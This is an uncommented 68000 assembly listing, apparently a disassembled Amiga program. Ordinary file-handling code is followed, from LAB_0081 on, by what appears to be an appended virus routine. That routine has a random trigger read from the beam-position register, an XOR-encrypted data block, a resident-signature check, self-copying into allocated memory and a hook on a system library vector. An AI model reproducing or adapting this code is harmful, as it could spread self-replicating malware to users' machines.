MOVE.L #$000005DC,D0 ;06E8: 203C000005DC
MOVEA.L A3,A0 ;06EE: 204B
MOVEA.L 48(A7),A1 ;06F0: 226F0030
BSR LAB_00FD ;06F4: 61000DD0
ADDQ #8,A7 ;06F8: 504F
MOVE.L D0,-36(A5) ;06FA: 2B40FFDC
BEQ.S LAB_0046 ;06FE: 6718
MOVEQ #20,D5 ;0700: 7A14
MOVEQ #-1,D0 ;0702: 70FF
CMP.L D0,D7 ;0704: BE80
BNE.S LAB_0044 ;0706: 6608
MOVEA.L A3,A6 ;0708: 2C4B
JSR -132(A6) ;070A: 4EAEFF7C
BRA.S LAB_0045 ;070E: 6002
LAB_0044:
MOVEQ #0,D0 ;0710: 7000
LAB_0045:
MOVE.L D0,D7 ;0712: 2E00
BRA LAB_0056 ;0714: 600001AE
LAB_0046:
MOVE.L 40(A7),D1 ;0718: 222F0028
MOVE.L A2,D2 ;071C: 240A
MOVEA.L A3,A6 ;071E: 2C4B
JSR -618(A6) ;0720: 4EAEFD96
TST D0 ;0724: 4A40
BNE LAB_0056 ;0726: 6600019C
LEA LAB_00BD(PC),A1 ;072A: 43FA0AD8
MOVE.L A1,-36(A5) ;072E: 2B49FFDC
JSR -132(A6) ;0732: 4EAEFF7C
MOVE.L D0,D7 ;0736: 2E00
BRA LAB_0056 ;0738: 6000018A
LAB_0047:
MOVEQ #0,D6 ;073C: 7C00
MOVE.L A2,D0 ;073E: 200A
BEQ.S LAB_0048 ;0740: 672C
TST.L -60(A5) ;0742: 4AADFFC4
BNE.S LAB_0048 ;0746: 6626
MOVE.L A2,D1 ;0748: 220A
MOVEQ #-2,D2 ;074A: 74FE
MOVEA.L A3,A6 ;074C: 2C4B
JSR -84(A6) ;074E: 4EAEFFAC
MOVE.L D0,D6 ;0752: 2C00
TST.L D6 ;0754: 4A86
BNE.S LAB_0048 ;0756: 6616
LEA LAB_00BE(PC),A0 ;0758: 41FA0ABC
MOVE.L A0,-36(A5) ;075C: 2B48FFDC
JSR -132(A6) ;0760: 4EAEFF7C
MOVE.L D0,D7 ;0764: 2E00
MOVE.L A2,-84(A5) ;0766: 2B4AFFAC
BRA LAB_007A ;076A: 6000045A
LAB_0048:
MOVEA.L 48(A7),A3 ;076E: 266F0030
MOVE.L -28(A5),D5 ;0772: 2A2DFFE4
TST.L -56(A5) ;0776: 4AADFFC8
BNE.S LAB_0049 ;077A: 6608
TST.L -52(A5) ;077C: 4AADFFCC
BEQ LAB_0050 ;0780: 670000BC
LAB_0049:
MOVEQ #18,D1 ;0784: 7212
MOVEA.L A3,A6 ;0786: 2C4B
JSR -654(A6) ;0788: 4EAEFD72
MOVE.L D0,D1 ;078C: 2200
MOVE.L 40(A7),D2 ;078E: 242F0028
MOVEQ #16,D3 ;0792: 7610
JSR -684(A6) ;0794: 4EAEFD54
MOVE.L D0,36(A7) ;0798: 2F400024
TST.L D0 ;079C: 4A80
BEQ.S LAB_004E ;079E: 6754
MOVEQ #1,D1 ;07A0: 7201
MOVEA.L D0,A0 ;07A2: 2040
CMP.L 4(A0),D1 ;07A4: B2A80004
BNE.S LAB_004B ;07A8: 6626
TST.L -56(A5) ;07AA: 4AADFFC8
BEQ.S LAB_004A ;07AE: 670C
MOVE.L D2,D1 ;07B0: 2202
MOVE.L D6,D2 ;07B2: 2406
JSR -630(A6) ;07B4: 4EAEFD8A
TST D0 ;07B8: 4A40
BEQ.S LAB_004B ;07BA: 6714
LAB_004A:
TST.L -52(A5) ;07BC: 4AADFFCC
BEQ.S LAB_004E ;07C0: 6732
MOVE.L 40(A7),D1 ;07C2: 222F0028
MOVE.L D6,D2 ;07C6: 2406
JSR -636(A6) ;07C8: 4EAEFD84
TST.L D0 ;07CC: 4A80
BNE.S LAB_004E ;07CE: 6624
LAB_004B:
TST.L -52(A5) ;07D0: 4AADFFCC
BEQ.S LAB_004C ;07D4: 6706
LEA LAB_00BF(PC),A0 ;07D6: 41FA0A4E
BRA.S LAB_004D ;07DA: 6004
LAB_004C:
LEA LAB_00C0(PC),A0 ;07DC: 41FA0A64
LAB_004D:
MOVE.L A2,-84(A5) ;07E0: 2B4AFFAC
MOVE.L 40(A7),-80(A5) ;07E4: 2B6F0028FFB0
MOVE.L A0,-36(A5) ;07EA: 2B48FFDC
JSR -132(A6) ;07EE: 4EAEFF7C
MOVE.L D0,D7 ;07F2: 2E00
LAB_004E:
MOVEQ #18,D1 ;07F4: 7212
JSR -660(A6) ;07F6: 4EAEFD6C
TST.L -52(A5) ;07FA: 4AADFFCC
BEQ.S LAB_004F ;07FE: 6706
MOVE.L D6,D1 ;0800: 2206
JSR -90(A6) ;0802: 4EAEFFA6
LAB_004F:
TST.L 36(A7) ;0806: 4AAF0024
BNE LAB_0056 ;080A: 660000B8
TST.L -52(A5) ;080E: 4AADFFCC
BNE LAB_0056 ;0812: 660000B0
MOVE.L 40(A7),D1 ;0816: 222F0028
MOVE.L D6,D2 ;081A: 2406
JSR -612(A6) ;081C: 4EAEFD9C
TST.L D0 ;0820: 4A80
BNE LAB_0056 ;0822: 660000A0
LEA LAB_00BD(PC),A0 ;0826: 41FA09DC
MOVE.L A0,-36(A5) ;082A: 2B48FFDC
JSR -132(A6) ;082E: 4EAEFF7C
MOVE.L D0,D7 ;0832: 2E00
MOVE.L D2,D1 ;0834: 2202
JSR -90(A6) ;0836: 4EAEFFA6
BRA LAB_0056 ;083A: 60000088
LAB_0050:
TST.L -60(A5) ;083E: 4AADFFC4
BEQ.S LAB_0054 ;0842: 675C
MOVE.L D6,D1 ;0844: 2206
MOVEA.L A3,A6 ;0846: 2C4B
JSR -90(A6) ;0848: 4EAEFFA6
PEA -1608(A5) ;084C: 486DF9B8
MOVE.L A2,-(A7) ;0850: 2F0A
MOVE.L #$000005DC,D0 ;0852: 203C000005DC
MOVEA.L A3,A0 ;0858: 204B
MOVEA.L 48(A7),A1 ;085A: 226F0030
BSR LAB_00FD ;085E: 61000C66
ADDQ #8,A7 ;0862: 504F
MOVE.L D0,-36(A5) ;0864: 2B40FFDC
BEQ.S LAB_0053 ;0868: 6716
MOVEQ #20,D5 ;086A: 7A14
MOVEQ #-1,D0 ;086C: 70FF
CMP.L D0,D7 ;086E: BE80
BNE.S LAB_0051 ;0870: 6608
MOVEA.L A3,A6 ;0872: 2C4B
JSR -132(A6) ;0874: 4EAEFF7C
BRA.S LAB_0052 ;0878: 6002
LAB_0051:
MOVEQ #0,D0 ;087A: 7000
LAB_0052:
MOVE.L D0,D7 ;087C: 2E00
BRA.S LAB_0056 ;087E: 6044
LAB_0053:
MOVE.L 40(A7),D1 ;0880: 222F0028
MOVE.L A2,D2 ;0884: 240A
MOVEA.L A3,A6 ;0886: 2C4B
JSR -624(A6) ;0888: 4EAEFD90
TST D0 ;088C: 4A40
BNE.S LAB_0056 ;088E: 6634
LEA LAB_00BD(PC),A0 ;0890: 41FA0972
MOVE.L A0,-36(A5) ;0894: 2B48FFDC
JSR -132(A6) ;0898: 4EAEFF7C
MOVE.L D0,D7 ;089C: 2E00
BRA.S LAB_0056 ;089E: 6024
LAB_0054:
MOVE.L 40(A7),D1 ;08A0: 222F0028
MOVE.L D6,D2 ;08A4: 2406
MOVEA.L A3,A6 ;08A6: 2C4B
JSR -612(A6) ;08A8: 4EAEFD9C
ADDQ.L #1,D0 ;08AC: 5280
BEQ.S LAB_0055 ;08AE: 670E
LEA LAB_00C1(PC),A0 ;08B0: 41FA09A4
MOVE.L A0,-36(A5) ;08B4: 2B48FFDC
JSR -132(A6) ;08B8: 4EAEFF7C
MOVE.L D0,D7 ;08BC: 2E00
LAB_0055:
MOVEQ #-1,D0 ;08BE: 70FF
MOVE.L D0,-56(A5) ;08C0: 2B40FFC8
LAB_0056:
MOVE.L D5,-28(A5) ;08C4: 2B45FFE4
TST.L -36(A5) ;08C8: 4AADFFDC
BNE LAB_007A ;08CC: 660002F8
MOVE.L A2,D0 ;08D0: 200A
BEQ.S LAB_0057 ;08D2: 6710
ADDQ.L #4,-88(A5) ;08D4: 58ADFFA8
MOVEA.L -88(A5),A0 ;08D8: 206DFFA8
MOVEA.L (A0),A2 ;08DC: 2450
MOVE.L A2,D0 ;08DE: 200A
BNE LAB_0042 ;08E0: 6600FDC6
LAB_0057:
MOVEA.L 48(A7),A3 ;08E4: 266F0030
TST.L -68(A5) ;08E8: 4AADFFBC
BEQ.S LAB_0059 ;08EC: 672C
MOVEA.L 40(A7),A2 ;08EE: 246F0028
MOVE.L A2,D0 ;08F2: 200A
BEQ.S LAB_0059 ;08F4: 6724
MOVEQ #30,D1 ;08F6: 721E
MOVEA.L A3,A6 ;08F8: 2C4B
JSR -654(A6) ;08FA: 4EAEFD72
MOVE.L D0,D1 ;08FE: 2200
MOVE.L A2,D2 ;0900: 240A
MOVEQ #28,D3 ;0902: 761C
JSR -684(A6) ;0904: 4EAEFD54
MOVEA.L D0,A2 ;0908: 2440
MOVE.L A2,D0 ;090A: 200A
BEQ.S LAB_0058 ;090C: 6706
MOVE.L A2,D1 ;090E: 220A
JSR -672(A6) ;0910: 4EAEFD60
LAB_0058:
MOVEQ #30,D1 ;0914: 721E
JSR -660(A6) ;0916: 4EAEFD6C
LAB_0059:
TST.L -76(A5) ;091A: 4AADFFB4
BNE.S LAB_005A ;091E: 660C
MOVE.L -28(A5),D5 ;0920: 2A2DFFE4
TST.L -72(A5) ;0924: 4AADFFB8
BEQ LAB_007A ;0928: 6700029C
LAB_005A:
MOVEQ #0,D5 ;092C: 7A00
MOVEQ #0,D4 ;092E: 7800
CLR.L -32(A5) ;0930: 42ADFFE0
LEA -48(A5),A2 ;0934: 45EDFFD0
BRA LAB_0078 ;0938: 60000252
LAB_005B:
TST.L D5 ;093C: 4A85
BNE.S LAB_005C ;093E: 6608
LEA LAB_00C3(PC),A3 ;0940: 47FA0926
MOVEQ #8,D6 ;0944: 7C08
BRA.S LAB_005E ;0946: 6014
LAB_005C:
MOVEQ #1,D0 ;0948: 7001
CMP.L D0,D5 ;094A: BA80
BNE.S LAB_005D ;094C: 6608
LEA LAB_00C6(PC),A3 ;094E: 47FA0922
MOVEQ #16,D6 ;0952: 7C10
BRA.S LAB_005E ;0954: 6006
LAB_005D:
LEA LAB_00C8(PC),A3 ;0956: 47FA092A
MOVEQ #4,D6 ;095A: 7C04
LAB_005E:
TST.L -76(A5) ;095C: 4AADFFB4
BEQ.S LAB_005F ;0960: 6710
TST.L (A2) ;0962: 4A92
BEQ LAB_0077 ;0964: 6700021E
MOVE.L A3,D1 ;0968: 220B
MOVEA.L 48(A7),A6 ;096A: 2C6F0030
JSR -948(A6) ;096E: 4EAEFC4C
LAB_005F:
LEA -104(A5),A0 ;0972: 41EDFF98
MOVE.L A0,-108(A5) ;0976: 2B48FF94
MOVE.L D6,D0 ;097A: 2006
ORI #$0001,D0 ;097C: 00400001
MOVEA.L 48(A7),A3 ;0980: 266F0030
MOVE.L D0,36(A7) ;0984: 2F400024
MOVE.L D0,D1 ;0988: 2200
MOVEA.L A3,A6 ;098A: 2C4B
JSR -654(A6) ;098C: 4EAEFD72
MOVEA.L D0,A2 ;0990: 2440
MOVE.L A2,D0 ;0992: 200A
BNE LAB_0075 ;0994: 660001B0
LEA LAB_00BD(PC),A1 ;0998: 43FA086A
MOVE.L A1,-36(A5) ;099C: 2B49FFDC
JSR -132(A6) ;09A0: 4EAEFF7C
MOVE.L D0,D7 ;09A4: 2E00
MOVE.L -28(A5),D5 ;09A6: 2A2DFFE4
BRA LAB_007A ;09AA: 6000021A
LAB_0060:
TST.L -72(A5) ;09AE: 4AADFFB8
BEQ.S LAB_0061 ;09B2: 671C
MOVE.L A2,D1 ;09B4: 220A
MOVE.L 40(A7),D2 ;09B6: 242F0028
MOVE.L D6,D3 ;09BA: 2606
MOVEA.L A3,A6 ;09BC: 2C4B
JSR -684(A6) ;09BE: 4EAEFD54
MOVEA.L D0,A2 ;09C2: 2440
MOVE.L A2,D0 ;09C4: 200A
BEQ LAB_0076 ;09C6: 67000194
MOVEQ #1,D0 ;09CA: 7001
MOVE.L D0,-32(A5) ;09CC: 2B40FFE0
LAB_0061:
MOVE.L 40(A2),D0 ;09D0: 202A0028
ASL.L #2,D0 ;09D4: E580
MOVEA.L D0,A0 ;09D6: 2040
MOVE.B (A0),D7 ;09D8: 1E10
EXT D7 ;09DA: 4887
EXT.L D7 ;09DC: 48C7
LEA 1(A0),A1 ;09DE: 43E80001
MOVEA.L A1,A0 ;09E2: 2049
MOVE.L D7,D0 ;09E4: 2007
LEA -108(A5),A1 ;09E6: 43EDFF94
BSR LAB_00EA ;09EA: 610009C6
MOVE.L D5,D0 ;09EE: 2005
TST.L D0 ;09F0: 4A80
BEQ.S LAB_0062 ;09F2: 670E
SUBQ.L #1,D0 ;09F4: 5380
BEQ.S LAB_0068 ;09F6: 6744
SUBQ.L #1,D0 ;09F8: 5380
BEQ LAB_0072 ;09FA: 6700011C
BRA LAB_0075 ;09FE: 60000146
LAB_0062:
MOVE.L 8(A2),D0 ;0A02: 202A0008
BEQ.S LAB_0063 ;0A06: 6706
LEA LAB_00CA(PC),A0 ;0A08: 41FA0884
BRA.S LAB_0064 ;0A0C: 6004
LAB_0063:
LEA LAB_00CB(PC),A0 ;0A0E: 41FA088A
LAB_0064:
MOVEA.L A0,A3 ;0A12: 2648
TST.L D0 ;0A14: 4A80
BEQ.S LAB_0065 ;0A16: 6706
LEA LAB_00CA(PC),A0 ;0A18: 41FA0874
BRA.S LAB_0066 ;0A1C: 6004
LAB_0065:
LEA LAB_00CB(PC),A0 ;0A1E: 41FA087A
LAB_0066:
MOVEA.L A0,A1 ;0A22: 2248
LAB_0067:
TST.B (A1)+ ;0A24: 4A19
BNE.S LAB_0067 ;0A26: 66FC
SUBQ.L #1,A1 ;0A28: 5389
SUBA.L A0,A1 ;0A2A: 93C8
MOVE.L A1,D0 ;0A2C: 2009
MOVEA.L A3,A0 ;0A2E: 204B
LEA -108(A5),A1 ;0A30: 43EDFF94
BSR LAB_00EA ;0A34: 6100097C
BRA LAB_0075 ;0A38: 6000010C
LAB_0068:
MOVEA.L 16(A2),A3 ;0A3C: 266A0010
MOVEQ #15,D0 ;0A40: 700F
CMP.L D0,D7 ;0A42: BE80
BGE.S LAB_0069 ;0A44: 6C04
SUB.L D7,D0 ;0A46: 9087
BRA.S LAB_006A ;0A48: 6002
LAB_0069:
MOVEQ #1,D0 ;0A4A: 7001
LAB_006A:
LEA LAB_00CC(PC),A0 ;0A4C: 41FA084E
LEA -108(A5),A1 ;0A50: 43EDFF94
BSR LAB_00EA ;0A54: 6100095C
MOVE.L 4(A2),D0 ;0A58: 202A0004
SUBQ.L #1,D0 ;0A5C: 5380
BEQ.S LAB_006B ;0A5E: 670C
SUBQ.L #2,D0 ;0A60: 5580
BEQ.S LAB_006E ;0A62: 674C
SUBQ.L #1,D0 ;0A64: 5380
BEQ.S LAB_0070 ;0A66: 677C
BRA LAB_0075 ;0A68: 600000DC
LAB_006B:
MOVE.L 12(A2),D0 ;0A6C: 202A000C
MOVEA.L 48(A7),A0 ;0A70: 206F0030
LEA -108(A5),A1 ;0A74: 43EDFF94
BSR LAB_00DB ;0A78: 6100088E
MOVEA.L 20(A2),A3 ;0A7C: 266A0014
MOVE.L A3,D0 ;0A80: 200B
BEQ LAB_0075 ;0A82: 670000C2
BRA.S LAB_006D ;0A86: 6020
LAB_006C:
MOVEQ #15,D0 ;0A88: 700F
LEA LAB_00CF(PC),A0 ;0A8A: 41FA0820
LEA -108(A5),A1 ;0A8E: 43EDFF94
BSR LAB_00EA ;0A92: 6100091E
MOVE.L 4(A3),D0 ;0A96: 202B0004
MOVEA.L 48(A7),A0 ;0A9A: 206F0030
LEA -108(A5),A1 ;0A9E: 43EDFF94
BSR LAB_00DB ;0AA2: 61000864
MOVEA.L (A3),A3 ;0AA6: 2653
LAB_006D:
MOVE.L A3,D0 ;0AA8: 200B
BNE.S LAB_006C ;0AAA: 66DC
BRA LAB_0075 ;0AAC: 60000098
LAB_006E:
MOVEQ #1,D0 ;0AB0: 7001
LEA LAB_00D1(PC),A0 ;0AB2: 41FA0808
LEA -108(A5),A1 ;0AB6: 43EDFF94
BSR LAB_00EA ;0ABA: 610008F6
MOVEA.L A3,A0 ;0ABE: 204B
LAB_006F:
TST.B (A0)+ ;0AC0: 4A18
BNE.S LAB_006F ;0AC2: 66FC
SUBQ.L #1,A0 ;0AC4: 5388
SUBA.L A3,A0 ;0AC6: 91CB
MOVE.L A0,D0 ;0AC8: 2008
MOVEA.L A3,A0 ;0ACA: 204B
LEA -108(A5),A1 ;0ACC: 43EDFF94
BSR LAB_00EA ;0AD0: 610008E0
MOVEQ #2,D0 ;0AD4: 7002
LEA LAB_00D2(PC),A0 ;0AD6: 41FA07E6
LEA -108(A5),A1 ;0ADA: 43EDFF94
BSR LAB_00EA ;0ADE: 610008D2
BRA.S LAB_0075 ;0AE2: 6062
LAB_0070:
MOVEQ #1,D0 ;0AE4: 7001
LEA LAB_00D3(PC),A0 ;0AE6: 41FA07DA
LEA -108(A5),A1 ;0AEA: 43EDFF94
BSR LAB_00EA ;0AEE: 610008C2
MOVEA.L A3,A0 ;0AF2: 204B
LAB_0071:
TST.B (A0)+ ;0AF4: 4A18
BNE.S LAB_0071 ;0AF6: 66FC
SUBQ.L #1,A0 ;0AF8: 5388
SUBA.L A3,A0 ;0AFA: 91CB
MOVE.L A0,D0 ;0AFC: 2008
MOVEA.L A3,A0 ;0AFE: 204B
LEA -108(A5),A1 ;0B00: 43EDFF94
BSR LAB_00EA ;0B04: 610008AC
MOVEQ #2,D0 ;0B08: 7002
LEA LAB_00D4(PC),A0 ;0B0A: 41FA07B8
LEA -108(A5),A1 ;0B0E: 43EDFF94
BSR LAB_00EA ;0B12: 6100089E
BRA.S LAB_0075 ;0B16: 602E
LAB_0072:
TST.L -72(A5) ;0B18: 4AADFFB8
BNE.S LAB_0073 ;0B1C: 6608
ADDQ.L #1,D4 ;0B1E: 5284
MOVEQ #5,D0 ;0B20: 7005
CMP.L D0,D4 ;0B22: B880
BNE.S LAB_0074 ;0B24: 6612
LAB_0073:
MOVEQ #0,D4 ;0B26: 7800
MOVEQ #1,D0 ;0B28: 7001
LEA LAB_00CB(PC),A0 ;0B2A: 41FA076E
LEA -108(A5),A1 ;0B2E: 43EDFF94
BSR LAB_00EA ;0B32: 6100087E
BRA.S LAB_0075 ;0B36: 600E
LAB_0074:
MOVEQ #1,D0 ;0B38: 7001
LEA LAB_00D5(PC),A0 ;0B3A: 41FA078C
LEA -108(A5),A1 ;0B3E: 43EDFF94
BSR LAB_00EA ;0B42: 6100086E
LAB_0075:
MOVEA.L 48(A7),A3 ;0B46: 266F0030
MOVE.L A2,D1 ;0B4A: 220A
MOVE.L D6,D2 ;0B4C: 2406
MOVEA.L A3,A6 ;0B4E: 2C4B
JSR -690(A6) ;0B50: 4EAEFD4E
MOVEA.L D0,A2 ;0B54: 2440
MOVE.L A2,D0 ;0B56: 200A
BNE LAB_0060 ;0B58: 6600FE54
LAB_0076:
MOVE.L 36(A7),D1 ;0B5C: 222F0024
MOVEA.L A3,A6 ;0B60: 2C4B
JSR -660(A6) ;0B62: 4EAEFD6C
MOVEA.L A3,A0 ;0B66: 204B
LEA -104(A5),A1 ;0B68: 43EDFF98
BSR LAB_00F3 ;0B6C: 610008E4
MOVE.L D0,D7 ;0B70: 2E00
TST.L D7 ;0B72: 4A87
BEQ.S LAB_0077 ;0B74: 670E
MOVEQ #20,D5 ;0B76: 7A14
MOVE.L D7,D1 ;0B78: 2207
MOVEQ #0,D2 ;0B7A: 7400
MOVEA.L A3,A6 ;0B7C: 2C4B
JSR -474(A6) ;0B7E: 4EAEFE26
BRA.S LAB_007A ;0B82: 6042
LAB_0077:
ADDQ.L #1,D5 ;0B84: 5285
MOVEA.L -1612(A5),A2 ;0B86: 246DF9B4
ADDQ.L #4,A2 ;0B8A: 588A
LAB_0078:
MOVE.L A2,-1612(A5) ;0B8C: 2B4AF9B4
MOVEQ #3,D0 ;0B90: 7003
CMP.L D0,D5 ;0B92: BA80
BLT LAB_005B ;0B94: 6D00FDA6
MOVEA.L 48(A7),A3 ;0B98: 266F0030
TST.L D4 ;0B9C: 4A84
BLE.S LAB_0079 ;0B9E: 6F0C
LEA LAB_00CB(PC),A0 ;0BA0: 41FA06F8
MOVE.L A0,D1 ;0BA4: 2208
MOVEA.L A3,A6 ;0BA6: 2C4B
JSR -948(A6) ;0BA8: 4EAEFC4C
LAB_0079:
MOVE.L -28(A5),D5 ;0BAC: 2A2DFFE4
TST.L -72(A5) ;0BB0: 4AADFFB8
BEQ.S LAB_007A ;0BB4: 6710
TST.L -32(A5) ;0BB6: 4AADFFE0
BNE.S LAB_007A ;0BBA: 660A
LEA LAB_00D6(PC),A0 ;0BBC: 41FA070C
MOVEQ #5,D5 ;0BC0: 7A05
MOVE.L A0,-36(A5) ;0BC2: 2B48FFDC
LAB_007A:
MOVE.L -104(A5),-108(A5) ;0BC6: 2B6DFF98FF94
BRA.S LAB_007C ;0BCC: 601E
LAB_007B:
MOVEA.L -108(A5),A0 ;0BCE: 206DFF94
MOVE.L (A0),-104(A5) ;0BD2: 2B50FF98
MOVEQ #16,D0 ;0BD6: 7010
ADD.L 12(A0),D0 ;0BD8: D0A8000C
MOVEA.L A0,A1 ;0BDC: 2248
MOVEA.L 52(A7),A6 ;0BDE: 2C6F0034
JSR -210(A6) ;0BE2: 4EAEFF2E
MOVE.L -104(A5),-108(A5) ;0BE6: 2B6DFF98FF94
LAB_007C:
TST.L -108(A5) ;0BEC: 4AADFF94
BNE.S LAB_007B ;0BF0: 66DC
MOVE.L -36(A5),D0 ;0BF2: 202DFFDC
BEQ.S LAB_007D ;0BF6: 670E
MOVE.L D0,D1 ;0BF8: 2200
LEA -84(A5),A0 ;0BFA: 41EDFFAC
MOVE.L A0,D2 ;0BFE: 2408
MOVEA.L A3,A6 ;0C00: 2C4B
JSR -954(A6) ;0C02: 4EAEFC46
LAB_007D:
MOVE.L 44(A7),D1 ;0C06: 222F002C
MOVEA.L A3,A6 ;0C0A: 2C4B
JSR -858(A6) ;0C0C: 4EAEFCA6
MOVE.L D7,D1 ;0C10: 2207
JSR -462(A6) ;0C12: 4EAEFE32
MOVEA.L A3,A1 ;0C16: 224B
MOVEA.L 52(A7),A6 ;0C18: 2C6F0034
JSR -414(A6) ;0C1C: 4EAEFE62
BRA.S LAB_007F ;0C20: 6012
LAB_007E:
MOVEA #$0004,A0 ;0C22: 307C0004
MOVEA.L (A0),A1 ;0C26: 2250
MOVEA.L 276(A1),A0 ;0C28: 20690114
MOVEQ #122,D0 ;0C2C: 707A
MOVE.L D0,148(A0) ;0C2E: 21400094
MOVEQ #20,D5 ;0C32: 7A14
LAB_007F:
TST.L D5 ;0C34: 4A85
BNE.S LAB_0080 ;0C36: 6606
TST.L D7 ;0C38: 4A87
BEQ.S LAB_0080 ;0C3A: 6702
MOVEQ #20,D5 ;0C3C: 7A14
LAB_0080:
MOVE.L D5,D0 ;0C3E: 2005
MOVEM.L (A7)+,D2-D7/A2-A3/A6 ;0C40: 4CDF4CFC
UNLK A5 ;0C44: 4E5D
RTS ;0C46: 4E75
LAB_0081:
MOVEM.L D0-D7/A0-A6,-(A7) ;0C48: 48E7FFFE
MOVE VHPOSR,D0 ;0C4C: 303900DFF006
AND #$000F,D0 ;0C52: C07C000F
CMP #$0007,D0 ;0C56: B07C0007
BNE.S LAB_0082 ;0C5A: 6602
BSR.S LAB_0084 ;0C5C: 610A
LAB_0082:
MOVEM.L (A7)+,D0-D7/A0-A6 ;0C5E: 4CDF7FFF
RTS ;0C62: 4E75
LAB_0083:
JSR 0(A6) ;0C64: 4EAE0000
LAB_0084:
MOVEM.L D0-D7/A0-A6,-(A7) ;0C68: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;0C6C: 2C780004
BSR LAB_0095 ;0C70: 61000114
MOVE LAB_008C(PC),D0 ;0C74: 303A00BE
CMP #$0032,D0 ;0C78: B07C0032
BLT.S LAB_0085 ;0C7C: 6D14
LEA LAB_0092+2(PC),A0 ;0C7E: 41FA00D4
MOVE.L #$62536649,D0 ;0C82: 203C62536649
ADDI.L #$03030303,D0 ;0C88: 068003030303
MOVE.L D0,24(A0) ;0C8E: 21400018
LAB_0085:
MOVE #$4E75,-224(A1) ;0C92: 337C4E75FF20
MOVEQ #37,D0 ;0C98: 7025
JSR -552(A6) ;0C9A: 4EAEFDD8
MOVE.L D0,D7 ;0C9E: 2E00
BEQ.S LAB_0086 ;0CA0: 6744
LEA LAB_008C+2(PC),A0 ;0CA2: 41FA0092
MOVE.L D7,(A0) ;0CA6: 2087
MOVEA.L D7,A0 ;0CA8: 2047
MOVEA.L -148(A0),A0 ;0CAA: 2068FF6C
CMPI.L #$3D385E29,-6(A0) ;0CAE: 0CA83D385E29FFFA
BEQ.S LAB_0089 ;0CB6: 6740
MOVE.L #$00002710,D0 ;0CB8: 203C00002710
MOVEQ #0,D1 ;0CBE: 7200
JSR -198(A6) ;0CC0: 4EAEFF3A
TST.L D0 ;0CC4: 4A80
BEQ.S LAB_0086 ;0CC6: 671E
LEA LAB_008E(PC),A0 ;0CC8: 41FA0070
MOVE.L D0,(A0) ;0CCC: 2080
MOVE.L D0,D6 ;0CCE: 2C00
LEA LAB_0083(PC),A0 ;0CD0: 41FAFF92
MOVEA.L D6,A1 ;0CD4: 2246
MOVE.L #$00002710,D0 ;0CD6: 203C00002710
JSR -630(A6) ;0CDC: 4EAEFD8A
MOVEA.L D6,A0 ;0CE0: 2046
JMP 166(A0) ;0CE2: 4EE800A6
LAB_0086:
LEA LAB_0091(PC),A0 ;0CE6: 41FA0060
MOVEQ #46,D0 ;0CEA: 702E
LAB_0087:
CLR (A0)+ ;0CEC: 4258
SUBQ.L #2,D0 ;0CEE: 5580
BNE.S LAB_0087 ;0CF0: 66FA
LAB_0088:
MOVEM.L (A7)+,D0-D7/A0-A6 ;0CF2: 4CDF7FFF
RTS ;0CF6: 4E75
LAB_0089:
MOVE LAB_008C(PC),D0 ;0CF8: 303A003A
MOVE -120(A0),D1 ;0CFC: 3228FF88
CMP D1,D0 ;0D00: B041
BLE.S LAB_0086 ;0D02: 6FE2
MOVE D0,-120(A0) ;0D04: 3140FF88
BRA.S LAB_0086 ;0D08: 60DC
BSR.S LAB_0093+2 ;0D0A: 616C
LEA LAB_0084(PC),A0 ;0D0C: 41FAFF5A
MOVE #$48E7,(A0) ;0D10: 30BC48E7
MOVEA.L D7,A1 ;0D14: 2247
MOVEA.L #$FFFFFF6A,A0 ;0D16: 207CFFFFFF6A
LAB_008A:
LEA LAB_009A(PC),A2 ;0D1C: 45FA008E
MOVE.L A2,D0 ;0D20: 200A
JSR -420(A6) ;0D22: 4EAEFE5C
TST.L D0 ;0D26: 4A80
BEQ.S LAB_008B ;0D28: 6708
LEA LAB_0090(PC),A0 ;0D2A: 41FA0016
MOVE.L D0,2(A0) ;0D2E: 21400002
LAB_008B:
BRA.S LAB_0088 ;0D32: 60BE
LAB_008C:
ORI.B #$C0,D0 ;0D34: 000000C0
CMPA (A0)+,A3 ;0D38: B6D8
LAB_008E:
DC.W $00C1 ;0D3A
BLE.S LAB_008A+2 ;0D3C: 6FE0
LAB_008F:
DC.W $00C0 ;0D3E
DC.W $2B9D ;0D40
LAB_0090:
JMP EXT_0005 ;0D42: 4EF900F97FBC
LAB_0091:
ADD.B D2,D1 ;0D48: D202
EXG D2,D3 ;0D4A: C543
ADD.B D4,D5 ;0D4C: DA04
ADD.B (A7)+,D2 ;0D4E: D41F
ADD.B D3,(A7)+ ;0D50: D71F
LAB_0092:
AND D7,-25786(A5) ;0D52: CF6D9B46
SUB A5,D6 ;0D56: 9C4D
ROL.B #2,D1 ;0D58: E519
DC.W $C40C ;0D5A
DC.W $D80A ;0D5C
ADDX -(A5),-(A1) ;0D5E: D34D
DC.W $F719 ;0D60
ADDX.B D2,D5 ;0D62: DB02
AND.B D2,(A5)+ ;0D64: C51D
DC.W $DE08 ;0D66
DC.W $C408 ;0D68
DC.W $9636 ;0D6A
ADD.B D0,-(A2) ;0D6C: D122
DC.W $F909 ;0D6E
LSL #5,D5 ;0D70: EB4D
SUB D6,D6 ;0D72: 9C46
DC.W $9B6D ;0D74
LAB_0093:
CMP 16890(A5),D3 ;0D76: B66D41FA
DC.W $FFFC ;0D7A
MOVE VHPOSR,D0 ;0D7C: 303900DFF006
MOVE D0,(A0) ;0D82: 3080
BRA.S LAB_0096 ;0D84: 6004
LAB_0095:
MOVE LAB_0093(PC),D0 ;0D86: 303AFFEE
LAB_0096:
LEA LAB_0091(PC),A0 ;0D8A: 41FAFFBC
MOVEA.L A0,A1 ;0D8E: 2248
MOVEQ #46,D1 ;0D90: 722E
LAB_0097:
EOR D0,(A0)+ ;0D92: B158
SUBQ.L #2,D1 ;0D94: 5581
BNE.S LAB_0097 ;0D96: 66FA
RTS ;0D98: 4E75
LAB_0098:
MOVE.L A0,-(A7) ;0D9A: 2F08
LEA LAB_008F(PC),A0 ;0D9C: 41FAFFA0
MOVE.L D1,(A0) ;0DA0: 2081
MOVEA.L (A7)+,A0 ;0DA2: 205F
RTS ;0DA4: 4E75
LAB_0099:
DC.W $3D38 ;0DA6
ADDQ.B #7,0(A1) ;0DA8: 5E290000
LAB_009A:
BSR.S LAB_0098 ;0DAC: 61EC
BSR.S LAB_0090 ;0DAE: 6192
TST.L D0 ;0DB0: 4A80
BEQ.S LAB_009E ;0DB2: 6734
MOVEM.L D0-D7/A0-A6,-(A7) ;0DB4: 48E7FFFE
MOVEA.L LAB_008F(PC),A0 ;0DB8: 207AFF84
CMPI.B #$76,(A0) ;0DBC: 0C100076
